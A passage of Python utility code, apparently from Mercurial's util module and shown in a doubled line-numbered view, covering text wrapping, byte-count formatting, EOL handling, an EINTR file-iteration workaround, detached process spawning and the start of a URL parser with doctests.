2182 return author[author.find('<') + 1:r]
2182 return author[author.find('<') + 1:r]
2183
2183
2184 def ellipsis(text, maxlength=400):
2184 def ellipsis(text, maxlength=400):
2185 """Trim string to at most maxlength (default: 400) columns in display."""
2185 """Trim string to at most maxlength (default: 400) columns in display."""
2186 return encoding.trim(text, maxlength, ellipsis='...')
2186 return encoding.trim(text, maxlength, ellipsis='...')
2187
2187
2188 def unitcountfn(*unittable):
2188 def unitcountfn(*unittable):
2189 '''return a function that renders a readable count of some quantity'''
2189 '''return a function that renders a readable count of some quantity'''
2190
2190
2191 def go(count):
2191 def go(count):
2192 for multiplier, divisor, format in unittable:
2192 for multiplier, divisor, format in unittable:
2193 if abs(count) >= divisor * multiplier:
2193 if abs(count) >= divisor * multiplier:
2194 return format % (count / float(divisor))
2194 return format % (count / float(divisor))
2195 return unittable[-1][2] % count
2195 return unittable[-1][2] % count
2196
2196
2197 return go
2197 return go
2198
2198
2199 def processlinerange(fromline, toline):
2199 def processlinerange(fromline, toline):
2200 """Check that linerange <fromline>:<toline> makes sense and return a
2200 """Check that linerange <fromline>:<toline> makes sense and return a
2201 0-based range.
2201 0-based range.
2202
2202
2203 >>> processlinerange(10, 20)
2203 >>> processlinerange(10, 20)
2204 (9, 20)
2204 (9, 20)
2205 >>> processlinerange(2, 1)
2205 >>> processlinerange(2, 1)
2206 Traceback (most recent call last):
2206 Traceback (most recent call last):
2207 ...
2207 ...
2208 ParseError: line range must be positive
2208 ParseError: line range must be positive
2209 >>> processlinerange(0, 5)
2209 >>> processlinerange(0, 5)
2210 Traceback (most recent call last):
2210 Traceback (most recent call last):
2211 ...
2211 ...
2212 ParseError: fromline must be strictly positive
2212 ParseError: fromline must be strictly positive
2213 """
2213 """
2214 if toline - fromline < 0:
2214 if toline - fromline < 0:
2215 raise error.ParseError(_("line range must be positive"))
2215 raise error.ParseError(_("line range must be positive"))
2216 if fromline < 1:
2216 if fromline < 1:
2217 raise error.ParseError(_("fromline must be strictly positive"))
2217 raise error.ParseError(_("fromline must be strictly positive"))
2218 return fromline - 1, toline
2218 return fromline - 1, toline
2219
2219
2220 bytecount = unitcountfn(
2220 bytecount = unitcountfn(
2221 (100, 1 << 30, _('%.0f GB')),
2221 (100, 1 << 30, _('%.0f GB')),
2222 (10, 1 << 30, _('%.1f GB')),
2222 (10, 1 << 30, _('%.1f GB')),
2223 (1, 1 << 30, _('%.2f GB')),
2223 (1, 1 << 30, _('%.2f GB')),
2224 (100, 1 << 20, _('%.0f MB')),
2224 (100, 1 << 20, _('%.0f MB')),
2225 (10, 1 << 20, _('%.1f MB')),
2225 (10, 1 << 20, _('%.1f MB')),
2226 (1, 1 << 20, _('%.2f MB')),
2226 (1, 1 << 20, _('%.2f MB')),
2227 (100, 1 << 10, _('%.0f KB')),
2227 (100, 1 << 10, _('%.0f KB')),
2228 (10, 1 << 10, _('%.1f KB')),
2228 (10, 1 << 10, _('%.1f KB')),
2229 (1, 1 << 10, _('%.2f KB')),
2229 (1, 1 << 10, _('%.2f KB')),
2230 (1, 1, _('%.0f bytes')),
2230 (1, 1, _('%.0f bytes')),
2231 )
2231 )
2232
2232
2233 # Matches a single EOL which can either be a CRLF where repeated CR
2233 # Matches a single EOL which can either be a CRLF where repeated CR
2234 # are removed or a LF. We do not care about old Macintosh files, so a
2234 # are removed or a LF. We do not care about old Macintosh files, so a
2235 # stray CR is an error.
2235 # stray CR is an error.
2236 _eolre = remod.compile(br'\r*\n')
2236 _eolre = remod.compile(br'\r*\n')
2237
2237
2238 def tolf(s):
2238 def tolf(s):
2239 return _eolre.sub('\n', s)
2239 return _eolre.sub('\n', s)
2240
2240
2241 def tocrlf(s):
2241 def tocrlf(s):
2242 return _eolre.sub('\r\n', s)
2242 return _eolre.sub('\r\n', s)
2243
2243
2244 if pycompat.oslinesep == '\r\n':
2244 if pycompat.oslinesep == '\r\n':
2245 tonativeeol = tocrlf
2245 tonativeeol = tocrlf
2246 fromnativeeol = tolf
2246 fromnativeeol = tolf
2247 else:
2247 else:
2248 tonativeeol = pycompat.identity
2248 tonativeeol = pycompat.identity
2249 fromnativeeol = pycompat.identity
2249 fromnativeeol = pycompat.identity
2250
2250
2251 def escapestr(s):
2251 def escapestr(s):
2252 # call underlying function of s.encode('string_escape') directly for
2252 # call underlying function of s.encode('string_escape') directly for
2253 # Python 3 compatibility
2253 # Python 3 compatibility
2254 return codecs.escape_encode(s)[0]
2254 return codecs.escape_encode(s)[0]
2255
2255
2256 def unescapestr(s):
2256 def unescapestr(s):
2257 return codecs.escape_decode(s)[0]
2257 return codecs.escape_decode(s)[0]
2258
2258
2259 def uirepr(s):
2259 def uirepr(s):
2260 # Avoid double backslash in Windows path repr()
2260 # Avoid double backslash in Windows path repr()
2261 return repr(s).replace('\\\\', '\\')
2261 return repr(s).replace('\\\\', '\\')
2262
2262
2263 # delay import of textwrap
2263 # delay import of textwrap
2264 def MBTextWrapper(**kwargs):
2264 def MBTextWrapper(**kwargs):
2265 class tw(textwrap.TextWrapper):
2265 class tw(textwrap.TextWrapper):
2266 """
2266 """
2267 Extend TextWrapper for width-awareness.
2267 Extend TextWrapper for width-awareness.
2268
2268
2269 Neither number of 'bytes' in any encoding nor 'characters' is
2269 Neither number of 'bytes' in any encoding nor 'characters' is
2270 appropriate to calculate terminal columns for specified string.
2270 appropriate to calculate terminal columns for specified string.
2271
2271
2272 Original TextWrapper implementation uses built-in 'len()' directly,
2272 Original TextWrapper implementation uses built-in 'len()' directly,
2273 so overriding is needed to use width information of each characters.
2273 so overriding is needed to use width information of each characters.
2274
2274
2275 In addition, characters classified into 'ambiguous' width are
2275 In addition, characters classified into 'ambiguous' width are
2276 treated as wide in East Asian area, but as narrow in other.
2276 treated as wide in East Asian area, but as narrow in other.
2277
2277
2278 This requires use decision to determine width of such characters.
2278 This requires use decision to determine width of such characters.
2279 """
2279 """
2280 def _cutdown(self, ucstr, space_left):
2280 def _cutdown(self, ucstr, space_left):
2281 l = 0
2281 l = 0
2282 colwidth = encoding.ucolwidth
2282 colwidth = encoding.ucolwidth
2283 for i in xrange(len(ucstr)):
2283 for i in xrange(len(ucstr)):
2284 l += colwidth(ucstr[i])
2284 l += colwidth(ucstr[i])
2285 if space_left < l:
2285 if space_left < l:
2286 return (ucstr[:i], ucstr[i:])
2286 return (ucstr[:i], ucstr[i:])
2287 return ucstr, ''
2287 return ucstr, ''
2288
2288
2289 # overriding of base class
2289 # overriding of base class
2290 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2290 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2291 space_left = max(width - cur_len, 1)
2291 space_left = max(width - cur_len, 1)
2292
2292
2293 if self.break_long_words:
2293 if self.break_long_words:
2294 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2294 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2295 cur_line.append(cut)
2295 cur_line.append(cut)
2296 reversed_chunks[-1] = res
2296 reversed_chunks[-1] = res
2297 elif not cur_line:
2297 elif not cur_line:
2298 cur_line.append(reversed_chunks.pop())
2298 cur_line.append(reversed_chunks.pop())
2299
2299
2300 # this overriding code is imported from TextWrapper of Python 2.6
2300 # this overriding code is imported from TextWrapper of Python 2.6
2301 # to calculate columns of string by 'encoding.ucolwidth()'
2301 # to calculate columns of string by 'encoding.ucolwidth()'
2302 def _wrap_chunks(self, chunks):
2302 def _wrap_chunks(self, chunks):
2303 colwidth = encoding.ucolwidth
2303 colwidth = encoding.ucolwidth
2304
2304
2305 lines = []
2305 lines = []
2306 if self.width <= 0:
2306 if self.width <= 0:
2307 raise ValueError("invalid width %r (must be > 0)" % self.width)
2307 raise ValueError("invalid width %r (must be > 0)" % self.width)
2308
2308
2309 # Arrange in reverse order so items can be efficiently popped
2309 # Arrange in reverse order so items can be efficiently popped
2310 # from a stack of chucks.
2310 # from a stack of chucks.
2311 chunks.reverse()
2311 chunks.reverse()
2312
2312
2313 while chunks:
2313 while chunks:
2314
2314
2315 # Start the list of chunks that will make up the current line.
2315 # Start the list of chunks that will make up the current line.
2316 # cur_len is just the length of all the chunks in cur_line.
2316 # cur_len is just the length of all the chunks in cur_line.
2317 cur_line = []
2317 cur_line = []
2318 cur_len = 0
2318 cur_len = 0
2319
2319
2320 # Figure out which static string will prefix this line.
2320 # Figure out which static string will prefix this line.
2321 if lines:
2321 if lines:
2322 indent = self.subsequent_indent
2322 indent = self.subsequent_indent
2323 else:
2323 else:
2324 indent = self.initial_indent
2324 indent = self.initial_indent
2325
2325
2326 # Maximum width for this line.
2326 # Maximum width for this line.
2327 width = self.width - len(indent)
2327 width = self.width - len(indent)
2328
2328
2329 # First chunk on line is whitespace -- drop it, unless this
2329 # First chunk on line is whitespace -- drop it, unless this
2330 # is the very beginning of the text (i.e. no lines started yet).
2330 # is the very beginning of the text (i.e. no lines started yet).
2331 if self.drop_whitespace and chunks[-1].strip() == '' and lines:
2331 if self.drop_whitespace and chunks[-1].strip() == '' and lines:
2332 del chunks[-1]
2332 del chunks[-1]
2333
2333
2334 while chunks:
2334 while chunks:
2335 l = colwidth(chunks[-1])
2335 l = colwidth(chunks[-1])
2336
2336
2337 # Can at least squeeze this chunk onto the current line.
2337 # Can at least squeeze this chunk onto the current line.
2338 if cur_len + l <= width:
2338 if cur_len + l <= width:
2339 cur_line.append(chunks.pop())
2339 cur_line.append(chunks.pop())
2340 cur_len += l
2340 cur_len += l
2341
2341
2342 # Nope, this line is full.
2342 # Nope, this line is full.
2343 else:
2343 else:
2344 break
2344 break
2345
2345
2346 # The current line is full, and the next chunk is too big to
2346 # The current line is full, and the next chunk is too big to
2347 # fit on *any* line (not just this one).
2347 # fit on *any* line (not just this one).
2348 if chunks and colwidth(chunks[-1]) > width:
2348 if chunks and colwidth(chunks[-1]) > width:
2349 self._handle_long_word(chunks, cur_line, cur_len, width)
2349 self._handle_long_word(chunks, cur_line, cur_len, width)
2350
2350
2351 # If the last chunk on this line is all whitespace, drop it.
2351 # If the last chunk on this line is all whitespace, drop it.
2352 if (self.drop_whitespace and
2352 if (self.drop_whitespace and
2353 cur_line and cur_line[-1].strip() == ''):
2353 cur_line and cur_line[-1].strip() == ''):
2354 del cur_line[-1]
2354 del cur_line[-1]
2355
2355
2356 # Convert current line back to a string and store it in list
2356 # Convert current line back to a string and store it in list
2357 # of all lines (return value).
2357 # of all lines (return value).
2358 if cur_line:
2358 if cur_line:
2359 lines.append(indent + ''.join(cur_line))
2359 lines.append(indent + ''.join(cur_line))
2360
2360
2361 return lines
2361 return lines
2362
2362
2363 global MBTextWrapper
2363 global MBTextWrapper
2364 MBTextWrapper = tw
2364 MBTextWrapper = tw
2365 return tw(**kwargs)
2365 return tw(**kwargs)
2366
2366
2367 def wrap(line, width, initindent='', hangindent=''):
2367 def wrap(line, width, initindent='', hangindent=''):
2368 maxindent = max(len(hangindent), len(initindent))
2368 maxindent = max(len(hangindent), len(initindent))
2369 if width <= maxindent:
2369 if width <= maxindent:
2370 # adjust for weird terminal size
2370 # adjust for weird terminal size
2371 width = max(78, maxindent + 1)
2371 width = max(78, maxindent + 1)
2372 line = line.decode(pycompat.sysstr(encoding.encoding),
2372 line = line.decode(pycompat.sysstr(encoding.encoding),
2373 pycompat.sysstr(encoding.encodingmode))
2373 pycompat.sysstr(encoding.encodingmode))
2374 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2374 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2375 pycompat.sysstr(encoding.encodingmode))
2375 pycompat.sysstr(encoding.encodingmode))
2376 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2376 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2377 pycompat.sysstr(encoding.encodingmode))
2377 pycompat.sysstr(encoding.encodingmode))
2378 wrapper = MBTextWrapper(width=width,
2378 wrapper = MBTextWrapper(width=width,
2379 initial_indent=initindent,
2379 initial_indent=initindent,
2380 subsequent_indent=hangindent)
2380 subsequent_indent=hangindent)
2381 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2381 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2382
2382
2383 if (pyplatform.python_implementation() == 'CPython' and
2383 if (pyplatform.python_implementation() == 'CPython' and
2384 sys.version_info < (3, 0)):
2384 sys.version_info < (3, 0)):
2385 # There is an issue in CPython that some IO methods do not handle EINTR
2385 # There is an issue in CPython that some IO methods do not handle EINTR
2386 # correctly. The following table shows what CPython version (and functions)
2386 # correctly. The following table shows what CPython version (and functions)
2387 # are affected (buggy: has the EINTR bug, okay: otherwise):
2387 # are affected (buggy: has the EINTR bug, okay: otherwise):
2388 #
2388 #
2389 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2389 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2390 # --------------------------------------------------
2390 # --------------------------------------------------
2391 # fp.__iter__ | buggy | buggy | okay
2391 # fp.__iter__ | buggy | buggy | okay
2392 # fp.read* | buggy | okay [1] | okay
2392 # fp.read* | buggy | okay [1] | okay
2393 #
2393 #
2394 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2394 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2395 #
2395 #
2396 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2396 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2397 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2397 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2398 #
2398 #
2399 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2399 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2400 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2400 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2401 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2401 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2402 # fp.__iter__ but not other fp.read* methods.
2402 # fp.__iter__ but not other fp.read* methods.
2403 #
2403 #
2404 # On modern systems like Linux, the "read" syscall cannot be interrupted
2404 # On modern systems like Linux, the "read" syscall cannot be interrupted
2405 # when reading "fast" files like on-disk files. So the EINTR issue only
2405 # when reading "fast" files like on-disk files. So the EINTR issue only
2406 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2406 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2407 # files approximately as "fast" files and use the fast (unsafe) code path,
2407 # files approximately as "fast" files and use the fast (unsafe) code path,
2408 # to minimize the performance impact.
2408 # to minimize the performance impact.
2409 if sys.version_info >= (2, 7, 4):
2409 if sys.version_info >= (2, 7, 4):
2410 # fp.readline deals with EINTR correctly, use it as a workaround.
2410 # fp.readline deals with EINTR correctly, use it as a workaround.
2411 def _safeiterfile(fp):
2411 def _safeiterfile(fp):
2412 return iter(fp.readline, '')
2412 return iter(fp.readline, '')
2413 else:
2413 else:
2414 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2414 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2415 # note: this may block longer than necessary because of bufsize.
2415 # note: this may block longer than necessary because of bufsize.
2416 def _safeiterfile(fp, bufsize=4096):
2416 def _safeiterfile(fp, bufsize=4096):
2417 fd = fp.fileno()
2417 fd = fp.fileno()
2418 line = ''
2418 line = ''
2419 while True:
2419 while True:
2420 try:
2420 try:
2421 buf = os.read(fd, bufsize)
2421 buf = os.read(fd, bufsize)
2422 except OSError as ex:
2422 except OSError as ex:
2423 # os.read only raises EINTR before any data is read
2423 # os.read only raises EINTR before any data is read
2424 if ex.errno == errno.EINTR:
2424 if ex.errno == errno.EINTR:
2425 continue
2425 continue
2426 else:
2426 else:
2427 raise
2427 raise
2428 line += buf
2428 line += buf
2429 if '\n' in buf:
2429 if '\n' in buf:
2430 splitted = line.splitlines(True)
2430 splitted = line.splitlines(True)
2431 line = ''
2431 line = ''
2432 for l in splitted:
2432 for l in splitted:
2433 if l[-1] == '\n':
2433 if l[-1] == '\n':
2434 yield l
2434 yield l
2435 else:
2435 else:
2436 line = l
2436 line = l
2437 if not buf:
2437 if not buf:
2438 break
2438 break
2439 if line:
2439 if line:
2440 yield line
2440 yield line
2441
2441
2442 def iterfile(fp):
2442 def iterfile(fp):
2443 fastpath = True
2443 fastpath = True
2444 if type(fp) is file:
2444 if type(fp) is file:
2445 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2445 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2446 if fastpath:
2446 if fastpath:
2447 return fp
2447 return fp
2448 else:
2448 else:
2449 return _safeiterfile(fp)
2449 return _safeiterfile(fp)
2450 else:
2450 else:
2451 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2451 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2452 def iterfile(fp):
2452 def iterfile(fp):
2453 return fp
2453 return fp
2454
2454
2455 def iterlines(iterator):
2455 def iterlines(iterator):
2456 for chunk in iterator:
2456 for chunk in iterator:
2457 for line in chunk.splitlines():
2457 for line in chunk.splitlines():
2458 yield line
2458 yield line
2459
2459
2460 def expandpath(path):
2460 def expandpath(path):
2461 return os.path.expanduser(os.path.expandvars(path))
2461 return os.path.expanduser(os.path.expandvars(path))
2462
2462
2463 def hgcmd():
2463 def hgcmd():
2464 """Return the command used to execute current hg
2464 """Return the command used to execute current hg
2465
2465
2466 This is different from hgexecutable() because on Windows we want
2466 This is different from hgexecutable() because on Windows we want
2467 to avoid things opening new shell windows like batch files, so we
2467 to avoid things opening new shell windows like batch files, so we
2468 get either the python call or current executable.
2468 get either the python call or current executable.
2469 """
2469 """
2470 if mainfrozen():
2470 if mainfrozen():
2471 if getattr(sys, 'frozen', None) == 'macosx_app':
2471 if getattr(sys, 'frozen', None) == 'macosx_app':
2472 # Env variable set by py2app
2472 # Env variable set by py2app
2473 return [encoding.environ['EXECUTABLEPATH']]
2473 return [encoding.environ['EXECUTABLEPATH']]
2474 else:
2474 else:
2475 return [pycompat.sysexecutable]
2475 return [pycompat.sysexecutable]
2476 return gethgcmd()
2476 return gethgcmd()
2477
2477
2478 def rundetached(args, condfn):
2478 def rundetached(args, condfn):
2479 """Execute the argument list in a detached process.
2479 """Execute the argument list in a detached process.
2480
2480
2481 condfn is a callable which is called repeatedly and should return
2481 condfn is a callable which is called repeatedly and should return
2482 True once the child process is known to have started successfully.
2482 True once the child process is known to have started successfully.
2483 At this point, the child process PID is returned. If the child
2483 At this point, the child process PID is returned. If the child
2484 process fails to start or finishes before condfn() evaluates to
2484 process fails to start or finishes before condfn() evaluates to
2485 True, return -1.
2485 True, return -1.
2486 """
2486 """
2487 # Windows case is easier because the child process is either
2487 # Windows case is easier because the child process is either
2488 # successfully starting and validating the condition or exiting
2488 # successfully starting and validating the condition or exiting
2489 # on failure. We just poll on its PID. On Unix, if the child
2489 # on failure. We just poll on its PID. On Unix, if the child
2490 # process fails to start, it will be left in a zombie state until
2490 # process fails to start, it will be left in a zombie state until
2491 # the parent wait on it, which we cannot do since we expect a long
2491 # the parent wait on it, which we cannot do since we expect a long
2492 # running process on success. Instead we listen for SIGCHLD telling
2492 # running process on success. Instead we listen for SIGCHLD telling
2493 # us our child process terminated.
2493 # us our child process terminated.
2494 terminated = set()
2494 terminated = set()
2495 def handler(signum, frame):
2495 def handler(signum, frame):
2496 terminated.add(os.wait())
2496 terminated.add(os.wait())
2497 prevhandler = None
2497 prevhandler = None
2498 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2498 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2499 if SIGCHLD is not None:
2499 if SIGCHLD is not None:
2500 prevhandler = signal.signal(SIGCHLD, handler)
2500 prevhandler = signal.signal(SIGCHLD, handler)
2501 try:
2501 try:
2502 pid = spawndetached(args)
2502 pid = spawndetached(args)
2503 while not condfn():
2503 while not condfn():
2504 if ((pid in terminated or not testpid(pid))
2504 if ((pid in terminated or not testpid(pid))
2505 and not condfn()):
2505 and not condfn()):
2506 return -1
2506 return -1
2507 time.sleep(0.1)
2507 time.sleep(0.1)
2508 return pid
2508 return pid
2509 finally:
2509 finally:
2510 if prevhandler is not None:
2510 if prevhandler is not None:
2511 signal.signal(signal.SIGCHLD, prevhandler)
2511 signal.signal(signal.SIGCHLD, prevhandler)
2512
2512
2513 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2513 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2514 """Return the result of interpolating items in the mapping into string s.
2514 """Return the result of interpolating items in the mapping into string s.
2515
2515
2516 prefix is a single character string, or a two character string with
2516 prefix is a single character string, or a two character string with
2517 a backslash as the first character if the prefix needs to be escaped in
2517 a backslash as the first character if the prefix needs to be escaped in
2518 a regular expression.
2518 a regular expression.
2519
2519
2520 fn is an optional function that will be applied to the replacement text
2520 fn is an optional function that will be applied to the replacement text
2521 just before replacement.
2521 just before replacement.
2522
2522
2523 escape_prefix is an optional flag that allows using doubled prefix for
2523 escape_prefix is an optional flag that allows using doubled prefix for
2524 its escaping.
2524 its escaping.
2525 """
2525 """
2526 fn = fn or (lambda s: s)
2526 fn = fn or (lambda s: s)
2527 patterns = '|'.join(mapping.keys())
2527 patterns = '|'.join(mapping.keys())
2528 if escape_prefix:
2528 if escape_prefix:
2529 patterns += '|' + prefix
2529 patterns += '|' + prefix
2530 if len(prefix) > 1:
2530 if len(prefix) > 1:
2531 prefix_char = prefix[1:]
2531 prefix_char = prefix[1:]
2532 else:
2532 else:
2533 prefix_char = prefix
2533 prefix_char = prefix
2534 mapping[prefix_char] = prefix_char
2534 mapping[prefix_char] = prefix_char
2535 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2535 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2536 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2536 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2537
2537
2538 def getport(port):
2538 def getport(port):
2539 """Return the port for a given network service.
2539 """Return the port for a given network service.
2540
2540
2541 If port is an integer, it's returned as is. If it's a string, it's
2541 If port is an integer, it's returned as is. If it's a string, it's
2542 looked up using socket.getservbyname(). If there's no matching
2542 looked up using socket.getservbyname(). If there's no matching
2543 service, error.Abort is raised.
2543 service, error.Abort is raised.
2544 """
2544 """
2545 try:
2545 try:
2546 return int(port)
2546 return int(port)
2547 except ValueError:
2547 except ValueError:
2548 pass
2548 pass
2549
2549
2550 try:
2550 try:
2551 return socket.getservbyname(port)
2551 return socket.getservbyname(port)
2552 except socket.error:
2552 except socket.error:
2553 raise Abort(_("no port number associated with service '%s'") % port)
2553 raise Abort(_("no port number associated with service '%s'") % port)
2554
2554
2555 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2555 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2556 '0': False, 'no': False, 'false': False, 'off': False,
2556 '0': False, 'no': False, 'false': False, 'off': False,
2557 'never': False}
2557 'never': False}
2558
2558
2559 def parsebool(s):
2559 def parsebool(s):
2560 """Parse s into a boolean.
2560 """Parse s into a boolean.
2561
2561
2562 If s is not a valid boolean, returns None.
2562 If s is not a valid boolean, returns None.
2563 """
2563 """
2564 return _booleans.get(s.lower(), None)
2564 return _booleans.get(s.lower(), None)
2565
2565
2566 _hextochr = dict((a + b, chr(int(a + b, 16)))
2566 _hextochr = dict((a + b, chr(int(a + b, 16)))
2567 for a in string.hexdigits for b in string.hexdigits)
2567 for a in string.hexdigits for b in string.hexdigits)
2568
2568
2569 class url(object):
2569 class url(object):
2570 r"""Reliable URL parser.
2570 r"""Reliable URL parser.
2571
2571
2572 This parses URLs and provides attributes for the following
2572 This parses URLs and provides attributes for the following
2573 components:
2573 components:
2574
2574
2575 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2575 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2576
2576
2577 Missing components are set to None. The only exception is
2577 Missing components are set to None. The only exception is
2578 fragment, which is set to '' if present but empty.
2578 fragment, which is set to '' if present but empty.
2579
2579
2580 If parsefragment is False, fragment is included in query. If
2580 If parsefragment is False, fragment is included in query. If
2581 parsequery is False, query is included in path. If both are
2581 parsequery is False, query is included in path. If both are
2582 False, both fragment and query are included in path.
2582 False, both fragment and query are included in path.
2583
2583
2584 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2584 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2585
2585
2586 Note that for backward compatibility reasons, bundle URLs do not
2586 Note that for backward compatibility reasons, bundle URLs do not
2587 take host names. That means 'bundle://../' has a path of '../'.
2587 take host names. That means 'bundle://../' has a path of '../'.
2588
2588
2589 Examples:
2589 Examples:
2590
2590
2591 >>> url('http://www.ietf.org/rfc/rfc2396.txt')
2591 >>> url('http://www.ietf.org/rfc/rfc2396.txt')
2592 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2592 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2593 >>> url('ssh://[::1]:2200//home/joe/repo')
2593 >>> url('ssh://[::1]:2200//home/joe/repo')
2594 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2594 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2595 >>> url('file:///home/joe/repo')
2595 >>> url('file:///home/joe/repo')
2596 <url scheme: 'file', path: '/home/joe/repo'>
2596 <url scheme: 'file', path: '/home/joe/repo'>
2597 >>> url('file:///c:/temp/foo/')
2597 >>> url('file:///c:/temp/foo/')
2598 <url scheme: 'file', path: 'c:/temp/foo/'>
2598 <url scheme: 'file', path: 'c:/temp/foo/'>
2599 >>> url('bundle:foo')
2599 >>> url('bundle:foo')
2600 <url scheme: 'bundle', path: 'foo'>
2600 <url scheme: 'bundle', path: 'foo'>
2601 >>> url('bundle://../foo')
2601 >>> url('bundle://../foo')
2602 <url scheme: 'bundle', path: '../foo'>
2602 <url scheme: 'bundle', path: '../foo'>
2603 >>> url(r'c:\foo\bar')
2603 >>> url(r'c:\foo\bar')
2604 <url path: 'c:\\foo\\bar'>
2604 <url path: 'c:\\foo\\bar'>
2605 >>> url(r'\\blah\blah\blah')
2605 >>> url(r'\\blah\blah\blah')
2606 <url path: '\\\\blah\\blah\\blah'>
2606 <url path: '\\\\blah\\blah\\blah'>
2607 >>> url(r'\\blah\blah\blah#baz')
2607 >>> url(r'\\blah\blah\blah#baz')
2608 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2608 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2609 >>> url(r'file:///C:\users\me')
2609 >>> url(r'file:///C:\users\me')
2610 <url scheme: 'file', path: 'C:\\users\\me'>
2610 <url scheme: 'file', path: 'C:\\users\\me'>
2611
2611
2612 Authentication credentials:
2612 Authentication credentials:
2613
2613
2614 >>> url('ssh://joe:xyz@x/repo')
2614 >>> url('ssh://joe:xyz@x/repo')
2615 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2615 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2616 >>> url('ssh://joe@x/repo')
2616 >>> url('ssh://joe@x/repo')
2617 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2617 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2618
2618
2619 Query strings and fragments:
2619 Query strings and fragments:
2620
2620
2621 >>> url('http://host/a?b#c')
2621 >>> url('http://host/a?b#c')
2622 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2622 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2623 >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
2623 >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
2624 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2624 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2625
2625
2626 Empty path:
2626 Empty path:
2627
2627
2628 >>> url('')
2628 >>> url('')
2629 <url path: ''>
2629 <url path: ''>
2630 >>> url('#a')
2630 >>> url('#a')
2631 <url path: '', fragment: 'a'>
2631 <url path: '', fragment: 'a'>
2632 >>> url('http://host/')
2632 >>> url('http://host/')
2633 <url scheme: 'http', host: 'host', path: ''>
2633 <url scheme: 'http', host: 'host', path: ''>
2634 >>> url('http://host/#a')
2634 >>> url('http://host/#a')
2635 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2635 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2636
2636
2637 Only scheme:
2637 Only scheme:
2638
2638
2639 >>> url('http:')
2639 >>> url('http:')
2640 <url scheme: 'http'>
2640 <url scheme: 'http'>
2641 """
2641 """
2642
2642
2643 _safechars = "!~*'()+"
2643 _safechars = "!~*'()+"
2644 _safepchars = "/!~*'()+:\\"
2644 _safepchars = "/!~*'()+:\\"
2645 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2645 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2646
2646
2647 def __init__(self, path, parsequery=True, parsefragment=True):
2647 def __init__(self, path, parsequery=True, parsefragment=True):
2648 # We slowly chomp away at path until we have only the path left
2648 # We slowly chomp away at path until we have only the path left
2649 self.scheme = self.user = self.passwd = self.host = None
2649 self.scheme = self.user = self.passwd = self.host = None
2650 self.port = self.path = self.query = self.fragment = None
2650 self.port = self.path = self.query = self.fragment = None
2651 self._localpath = True
2651 self._localpath = True
2652 self._hostport = ''
2652 self._hostport = ''
2653 self._origpath = path
2653 self._origpath = path
2654
2654
2655 if parsefragment and '#' in path:
2655 if parsefragment and '#' in path:
